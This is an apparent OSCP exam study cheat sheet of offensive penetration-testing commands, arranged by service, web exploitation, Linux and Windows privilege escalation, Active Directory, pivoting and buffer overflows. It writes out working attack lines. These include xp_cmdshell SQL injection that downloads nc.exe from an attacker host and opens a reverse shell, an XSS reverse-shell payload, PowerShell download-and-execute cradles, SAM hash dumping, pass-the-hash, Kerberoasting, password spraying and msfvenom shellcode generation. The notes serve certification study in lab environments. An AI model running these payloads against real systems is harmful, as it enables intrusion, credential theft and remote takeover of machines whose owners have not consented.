oscp-notes (from seal9055/oscp-notes)

I Passed the OSCP in January 2021. These are the notes I took along my journey to achieving it.

Enumeration
Web Exploitation
Post Exploitation Linux
Post Exploitation Windows
Active Directory
Pivoting & Port Forwarding
Other
Buffer Overflow

Enumeration

Basics

Standard Port Scan
sudo nmap -T4 -p- -A --osscan-guess --version-all -o in.scan -Pn
Udp Port Scan
sudo nmap --top-ports 100 -sU -o udp.scan -Pn
Extensions
txt,php,aspx,cgi,asp,html,jsp,pdf,doc,docx,xls,xlsx,rtf,bak,xml,xsl,phpthml,sh,pl,py,config,php7,exe

Wordlists

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/big.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt

TCP 21: FTP

Download Everything
wget -m ftp://anonymous:anonymous@<ip>
Ftp Nmap Scan
nmap --script ftp-anon,ftp-bounce,ftp-brute,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum,ftp-syst -p21 <RHOST>
Ssl Ftp Connection
openssl s_client -connect <RHOST>:21 -starttls ftp

TCP 22: SSH

Bruteforce
hydra -l root -P /usr/share/wordlists/password/10k <RHOST> -t 4 ssh

TCP 25: SMTP

Nmap Enumeration
sudo nmap --script "smtp-commands,smtp-open-relay,smtp-vuln*" -p25 <RHOST>
User Enumeration
sudo nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY} -p25 <RHOST>
Version Scan
auxiliary/scanner/smtp/smtp_enum
Introduction
HELO <LHOST> || EHLO <LHOST>
Enumerate Users
EXPN <user> || VRFY <user>
Send Mail From
MAIL FROM:[email protected]
Send Mail To
RCPT TO:<user>

TCP 53: DNS

Standard Enum

nslookup  
server <RHOST>  
127.0.0.1  
<RHOST>

Zone Transfer
dig axfr @<RHOST> <dnsname>

Dns Recon

dnsrecon -r 127.0.0.0/24 -n <rhost>
dnsrecon -d <RHOST> -r 10.0.0.0/8

TCP 79: Finger Enumeration

Pentest Monkey Link

tcp 88: Kerberos

Use Kerbrute to Enumerate Users and Passwords
Rubeus

TCP 110: POP3

Nmap Enum Script
sudo nmap --script pop3-capabilities,pop3-ntlm-info -p110 <RHOST>
Bruteforce
sudo nmap --script pop3-brute -p110 <RHOST> auxiliary/scanner/pop3/pop3_login

USER <username>
PASS <password>
list                 - List Emails
retr <email_num>     - Retrieve Email

TCP 111: RPCBIND

Enumeration
rpcinfo -p <RHOST>
rpcinfo -s <RHOST>

TCP 119: NNTP

Possible commands
HELP, LIST

TCP 135 MSRPC

Nmap Scan
sudo nmap -n -sV -Pn -p 135 --script=msrpc-enum <RHOST>

MSF Enum

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

RPC Dump
/usr/bin/impacket-rpcdump <RHOST> -p 135

TCP 139/445: SMB/RPC

smbmap
smbmap -H <RHOST>
enum4linux-ng
/opt/enum4linux-ng/enum4linux-ng.py -A <rhost>
Version Scan
use auxiliary/scanner/smb/smb_version
light nmap
sudo nmap -p445 --script safe 10.10.10.100
Enumerate Share Permissions
crackmapexec smb <RHOST> --shares
Log Into Shares
smbclient //<RHOST>/<Share> -U <user>
Dump Info
python3 /usr/share/doc/python3-impacket/examples/samrdump.py <RHOST>
Dump Info
rpcclient -U "" <RHOST>

TCP 143:

Login
A001 login <user> <password>
Use Evolution Mail Client to Log In

TCP 389: LDAP

ldapsearch
ldapsearch -h <rhost> -x
ldapsearch -h <rhost> -x -s base namingcontexts
ldapsearch -h <rhost> -x -b "<information from previous command>"
ldapsearch -h <rhost> -x -b "<information from previous command>" '(objectClass=Person)'

TCP 443

Manually Check Certificate
Add DNS Names to /etc/hosts
SSL Enum
nmap -sV --script ssl-enum-ciphers <RHOST>
Nikto
nikto -h <RHOST> -p 443 -output nikto_443
SSLScan
sslscan <ip>

TCP 1433: MSSQL

Nmap Scan
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER <RHOST>
Log In
sqsh -S <RHOST> -U <user>
Another Login
use auxiliary/scanner/mssql/mssql_login

TCP 1521: ORACLE

TCP 2049: NFS

Show Mountable Files showmount -a(d)(e) <RHOST>

TCP 3306: MYSQL

Login
mysql -u <user> -p
Extensive Nmap
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <RHOST>

MSF Scripts

use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
auxiliary/scanner/mysql/mysql_hashdump
mysql_enum
mysql_schemadump
mysql_start_up

TCP 3389: RDP

UDP 161: SNMP

Enum
snmpwalk -c public -v2c <RHOST> snmp-check <RHOST>

Active Directory

rpcclient

rpcclient <rhost> (-U '')  
enumdomusers  
enumdomains  
srvinfo  
setuserinfo2 <user> 23 '<new_pass>'
 createdomuser username  
 setuserinfo2 username 24  
      <password>

SMB
Kerbrute
./kerbrute userenum --dc <rhost> -d <domain> <users.txt>
Npusers (Dump hashes for users)
'GetNPUsers.py -dc-ip -no-pass -usersfile <users.txt> /`

Bloodhound.py

edit /etc/resolve.conf
 nameserver <rhost>
 search <domain>
python3 bloodhound.py -u <user> -p <password> -ns <rhost> -d domain -c all
Run Bloodhound

ldap

Web Exploitation

SQL Injection

SQLMap
sqlmap -r <burp_file>

Test for SQLI

'
'-- -
ASCII(97)
' or 1=1--
'; waitfor delay ('0:0:20)'--
wfuzz -u http://<RHOST>/FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt

admin' --
admin' -- -
admin'-
admin' #
admin'/*
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or '1'='1--
admin') or ('1'='1--

Abuse Command Shell

' EXEC sp_configure 'xp_cmdshell', 1--
' reconfigure--
' EXEC xp_cmdshell 'certutil -urlcache -f http://<LHOST>:<LPORT>/nc.exe nc.exe'--
' EXEC xp_cmdshell "nc.exe -e cmd.exe <LHOST> <LPORT>";--

`LFI/RFI`

Linux Path
../../../../../../../../etc/passwd
Windows LFI
c:\windows\system32\drivers\etc\hosts
RFI
http://<LHOST:80>/p0wny_shell.php

Wordlists

/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt

CGI-BIN

Popular Extensions: .sh & .pl
Nmap Check
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/<vulnerable file>,cmd=ls <RHOST>
MSF Check
auxiliary/scanner/http/apache_mod_cgi_bash_env
MSF Exploit
exploit/multi/http/apache_mod_cgi_bash_env_exec

XSS

Test
test: <img src=http://<lhost>/<lport>)>
Reverse Shell <img src=http://<lhost>/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'<LHOST>'$IFS'<LHOST>')>
SSTI - Server Side Template Injection

CMS

WORDPRESS
wpscan --url http://<RHOST> (--api-token <token>) -e u,ap,at --plugins-detection aggressive
MAGENTO
Magescan

Bruteforce

hydra
hydra -l admin -P /usr/share/wordlists/password/10k <RHOST> http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed' -V -t 64

Post Exploitation Linux

File Upload

Starting Web Server
python3 -m http.server 80

Filetransfer

wget <LHOST>/<file>
curl http://<LHOST>/<file> -o <output-file>
echo "GET /<file> HTTP/1.0" | nc -n <LHOST> 80 > <out-file> && sed -i '1,7d' <out-file>

Secure Filetransfers

on target:  ncat -nvlp <port> --ssl > <out-file>
on kali:  ncat -nv <RHOST> <RPORT> --ssl < <file-to-send>

Enum Tools

Linenum
linux smart enumeration
linpeas
pspy
suid3num

Upgrade Shell

python -c 'import pty;pty.spawn("/bin/bash")'
cltr-z
stty raw -echo;fg fg
export TERM=xterm
stty -a ; stty rows columns 136 rows 32
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Manual

whoami/id/hostname
cat /etc/issue
cat /etc/*-release
history
w
ls -l /etc/passwd
ls -l /etc/shadow

ls -l /etc/group

sudo -l    
(check for env_keep+=LD_PRELOAD)  
(check for env_keep+=LD_LIBRARY_PATH)  
(sudo Version under 1.9, 1.8.27 exploitable)

find / -group <mygroup> -ls 2>/dev/null
find / -user <myuser> -ls 2>/dev/null
cat /etc/exports - (check for nsf)
mount -l
cat /etc/fstab
/bin/lsblk
lpstat -a
lscpu

Common Files

grep -Rli password
/
/home
/opt
/tmp
/var

Cron

/etc/cronjobs

Service Exploits

ps aux | grep "^root"
netstat -antup
<service> -v
<service> --version
Debian
dpkg -l | grep <service>
Rpm
rpm -qa | grep <service>

SUID & SGID

find / -type f -a $ -perm -u+s -o -perm -g+s $ -exec ls -l {} \; 2> /dev/null

gtfobins

Check For Writeable Shared Files (Shell)

strace <service> 2>&1 | grep -iE "open|access|no such file"
create & compile the above linked shell
Execute Service

Incomplete Path

 strings <service>  
strace -v -f -e execve <service> 2>&1    
If found, create a binary with a reverse shell in the /tmp directory and add it to path  
PATH=.:$PATH /service

Kernel Exploits

uname -a
searchsploit linux kernel <version> <distribution> priv esc
linux exploit suggester

Network

ip a/ipconfig/ifconfig
route
ss -anp/netstat -anp
dnsdomainname
ls /etc | grep iptables
cat /etc/networks
netstat -punta

Post Exploitation Windows

File Upload

Starting Webserver
python3 -m http.server <LPORT>
Certutil
certutil -urlcache -f "http://<LHOST>:<LPORT>/<file>" <output-file>
SMB
on kali: sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
on target: copy \\<myip>\reverse.exe C:\tmp\reverse.exe
Powershell
cmd /c powershell IEX(new-object net.webclient).downloadstring('http://<LHOST>/Invoke-PowerShellTcp.ps1')
powershell.exe IEX(new-object net.webclient).downloadstring('http://<LHOST>/Invoke-PowerShellTcp.ps1')
powershell -c IEX(new-object net.webclient).downloadstring('http://<LHOST>/Invoke-PowerShellTcp.ps1')
Curl
curl http://<LHOST>/<file> -o <file>

Enum Tools

Powerup powershell -ep bypass; .\powerup.ps1; Invoke-AllChecks
Sherlock
powershell -ep bypass; Import-Module .\sherlock.ps1; Find-AllVulns
Winpeas

Manual

     whoami /priv | /groups | /all  
     systeminfo  
     hostname  
     net users | net user <user>  
     set  
     tasklist /SCV  |  tasclist /v

Kernel Exploits

Service Exploits

Insecure Service Properties

SERVICE_START & SERVICE_STOP & SERVICE_CHANGE_CONFIG  
sc qc <service>
sc query <service>
sc config <service> binpath= "\"C:\<reverse_shell>\""
listener on kali + START/STOP SERVICE

Unquoted Service Path

SERVICE_START & SERVICE_STOP + unquoted service path

Weak Registry Permissions
```
reg query <full path to service>  
```

Insecure Service Executables

check winpeas for writeable service executable  
replace file with reverse shell

DLL Hijacking

Check all services winpeas recognizes 1 by 1
sc qc <service>

Scheduled Tasks

dir C:\windows\tasks
schtasks /query /fo LIST /v

Network

     ipconfig | ifconfig
     route print
     arp -a
     netstat -ano
     C:\WINDOWS\System32\drivers\etc\hosts

Registry

Autorun
Overwrite program with reverse shell and restart
Always Install Elevated
Check Winpeas for always install elevated

Common Files

     %SYSTEMROOT%\repair\SAM
     %SYSTEMROOT%\System32\config\RegBack\SAM
     %SYSTEMROOT%\System32\config\SAM
     %SYSTEMROOT%\repair\system
     %SYSTEMROOT%\System32\config\SYSTEM
     %SYSTEMROOT%\System32\config\RegBack\system

Passwords

Use chisel to remotely forward port 445, and use winexe to log in
winexe -U <user>%<password> //<RHOST> cmd.exe
Check for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Weak Permissions on Sam Files
python2 pwdump.py <SYSTEMFILE> <SAMFILE>
Cracking the password
hashcat -m 1000 --force <hash> <wordlist>
PTH
pth-winexe -U '<entire-hash>' //<RHOST> cmd.exe

Active Directory

Manual

     ipconfig /all  
     route print  
     arp -a  
     netstat -ano  
     C:\WINDOWS\System32\drivers\etc\hosts  
     netsh firewall show state  
     netsh firewall show config  
     netsh dump  
     net user  
     net user /domain  
     net group /domain

Powerview

     powershell -ep bypass  
     . .\powerview.ps1  
     net accounts  
     Get-NetDomain  
     Get-NetDomainController  
     Get-DomainPolicy  
     Get-NetUser  
     Get-NetUser | select cn  
     Get-NetUser | select samaccountname  
     Get-NetComputer  
     Get-NetGroup  
     Get-NetGroupMember  
     Get-DomainUser -SPN  
     Get-NetLoggedon -ComputerName <pc-name>  
     Get-NetSession -ComputerName <pc-name>  
     Invoke-ShareFinder  
     Get-NETGPO  
     Invoke-Kerberoast

Bloodhound

     powershell -ep bypass  
     . .\sharphound.ps1  
     Invoke-BloodHound -CollectionMethod All -Domain <domain> -ZipFileName file.zip  
     Download zip onto kali, import into bloodhound  
     https://github.com/fox-it/BloodHound.py

Cracking Ad Hashes

     ntlm:   hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt`  
     ntlmv2: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt`

PASS THE PW & HASH

     crackmapexec <ip>/24 -u <user> -d <DOMAIN> -p <password>    
     crackmapexec <protocol> <ip>/24 -u <user> -H <hash> --local

Token Impersonation

     meterpreter load icognito  
     list_tokens  
     impersonate_token <token>

Kerberoasting

     Invoke-Kerberoast in powerview  
     Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'c:\temp\hashcapture.txt' -width 8000
     https://github.com/skelsec/kerberoast
     GetUserSPNs.py -request -dc-ip <RHOST> <domain>/<user>

Password Spraying

Create Password List
crunchy <length> <length> -t <pw-core>%%%%
Spray
rowbar -b rdp -s <ip>\32 -U users.txt -C pw.txt -n 1

Pivoting & Port Forwarding

Chisel

On Host: sudo ./chisel.sh server --reverse --port <LPORT>
On Target: chisel client <LHOST>:<LPORT> R:<PORT_TO_FWD>:127.0.0.1:<PORT_TO_FWD>

Other

Hashcracking

John
john --format=<fomrat> --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Hashcat

hashcat -m <hashid> -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt -O  
hashcat -m <hashid> -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt -O -r /usr/share/hashcat/rules/best64.rule  
cat pw | hashcat -r/usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt

SSH Encrypted

/usr/share/john/ssh2john

Crack Zip Pw

fcrackzip -uvDp /usr/share/wordlists/rockyou.txt file.zip

Tcp Dump

sudo tcpdump -i tun0 icmp

Images

binwalk <image>
binwalk -Me <image>

Recognize Encryption

Tio.run

Pip fix (Rarely works)

     curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py   
     python get-pip.py  
     python -m pip install requests

MYSQL

     show databases;
     use <database>
     show tables;
     select * from <table>;

Buffer Overflow

Tib3rius

!mona config -set workingfolder c:\mona\%p
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <crash_value + 400>
!mona findmsp -distance <crash_value> + retn = BBBB
!mona bytearray -b "\x00"
python bad_chars.py
!mona compare -f C:\mona\oscp\bytearray.bin -a <esp addr>
!mona jmp -r esp -cpb "\x00"
msfvenom -p windows/shell_reverse_tcp LHOST=<lhost> LPORT=4444 EXITFUNC=thread -b "\x00" -f py
padding = "\x90" * 16

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albatux.github.io's Introduction

oscp-notes (from seal9055/oscp-notes)

Table of Contents

Enumeration

Web Exploitation

Post Exploitation Linux

Post Exploitation Windows

Active Directory

Pivoting & Port Forwarding

Other

Buffer Overflow

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